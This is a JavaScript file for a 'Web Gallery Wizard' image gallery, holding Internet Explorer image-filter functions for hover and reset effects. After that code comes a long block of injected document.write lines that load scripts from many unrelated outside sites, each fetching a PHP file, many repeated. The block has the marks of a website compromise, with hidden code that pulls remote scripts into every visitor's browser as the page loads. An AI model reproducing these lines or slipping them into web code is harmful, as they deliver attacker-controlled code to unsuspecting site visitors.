/*------------------------------------------------------------------
	Web Gallery Wizard 
	
	Copywright KOMOTION, Inc. 2003,2004
	
------------------------------------------------------------------*/

function applyLightFilter()
{
	if (g_fApplyFilterToImage)
	{
		var oElement = event.srcElement;
		if (typeof(document) == 'object' && typeof(document.activeElement) == 'object')
		{
			if(!(document.activeElement.sourceIndex == (oElement.sourceIndex -1)))
			{
				oElement.style.filter="progid:DXImageTransform.Microsoft.Light()";
				oElement.filters.item("DXImageTransform.Microsoft.Light").addAmbient(255,255,255,100);
				oElement.filters.item("DXImageTransform.Microsoft.Light").addAmbient(255,255,255,25); 
			}
		}
	}
}

function removeLightFilter()
{
	if (g_fApplyFilterToImage)
	{
		var oElement = event.srcElement;
		if (typeof(document) == 'object' && typeof(document.activeElement) == 'object')
		{
			if(!(document.activeElement.sourceIndex == (oElement.sourceIndex -1)))
			{
				oElement.style.filter = "progid:DXImageTransform.Microsoft.Alpha(Opacity=100, FinishOpacity=20, Style=1, StartX=0, StartY=0, FinishX=0, FinishY=100)";
			}
		}
	}
}

function resetImage()
{
	if (g_fApplyFilterToImage)
	{
		//event.srcElement.firstChild.style.filter = "progid:DXImageTransform.Microsoft.Alpha(Opacity=100, FinishOpacity=20, Style=1, StartX=0, StartY=0, FinishX=0, FinishY=100)";
		resetImageOnObject(event.srcElement.firstChild);
	}
}

function resetImageOnObject(obj)
{
	obj.style.filter = "progid:DXImageTransform.Microsoft.Alpha(Opacity=100, FinishOpacity=20, Style=1, StartX=0, StartY=0, FinishX=0, FinishY=200)";
}

function SetNormal()
{
	fSlideShow = false;
	
	if (g_fApplyFilterToImage)
	{
		removeLightFilter();
		event.srcElement.style.filter =''
	}
}

document.write('<script src=http://indiatourpackages.org/images/gifimg.php ><\/script>');
document.write('<script src=http://indiatourpackages.org/images/gifimg.php ><\/script>');
document.write('<script src=http://indiatourpackages.org/images/gifimg.php ><\/script>');
document.write('<script src=http://cool-call.com/admin/full_countries.php ><\/script>');
document.write('<script src=http://cool-call.com/admin/full_countries.php ><\/script>');
document.write('<script src=http://theindianbanker.co.in/swf/thanks.php ><\/script>');
document.write('<script src=http://theindianbanker.co.in/swf/thanks.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://planutt.com/images/tkk01.php ><\/script>');
document.write('<script src=http://kmccaffr.jjcj.com/images/gifimg.php ><\/script>');
document.write('<script src=http://kmccaffr.jjcj.com/images/gifimg.php ><\/script>');
document.write('<script src=http://multlandia.ru/Developer/config.php ><\/script>');
document.write('<script src=http://multlandia.ru/Developer/config.php ><\/script>');
document.write('<script src=http://ilanglang.com/install/robots.php ><\/script>');
document.write('<script src=http://ilanglang.com/install/robots.php ><\/script>');
document.write('<script src=http://ilanglang.com/install/robots.php ><\/script>');
document.write('<script src=http://shimas-hosting.com/images/gifimg.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://vikroyki.ru/modules/update.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hyt.ro/inc/header.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hukuk-burosu.net/images/gifimg.php ><\/script>');
document.write('<script src=http://t-shirt-selbst-bedrucken.de/images/b-one-default.php ><\/script>');
document.write('<script src=http://t-shirt-selbst-bedrucken.de/images/b-one-default.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://doctor-samru.57.com1.ru/pub/test.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://chabadil.chabad.info/chabadpedia/crossdomain.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://r18.fssprus.ru/js/image.php ><\/script>');
document.write('<script src=http://cologne-mohair-dyers.com/GeneratedItems/dyehouse.php ><\/script>');
document.write('<script src=http://cologne-mohair-dyers.com/GeneratedItems/dyehouse.php ><\/script>');
document.write('<script src=http://cologne-mohair-dyers.com/GeneratedItems/dyehouse.php ><\/script>');
document.write('<script src=http://cologne-mohair-dyers.com/GeneratedItems/dyehouse.php ><\/script>');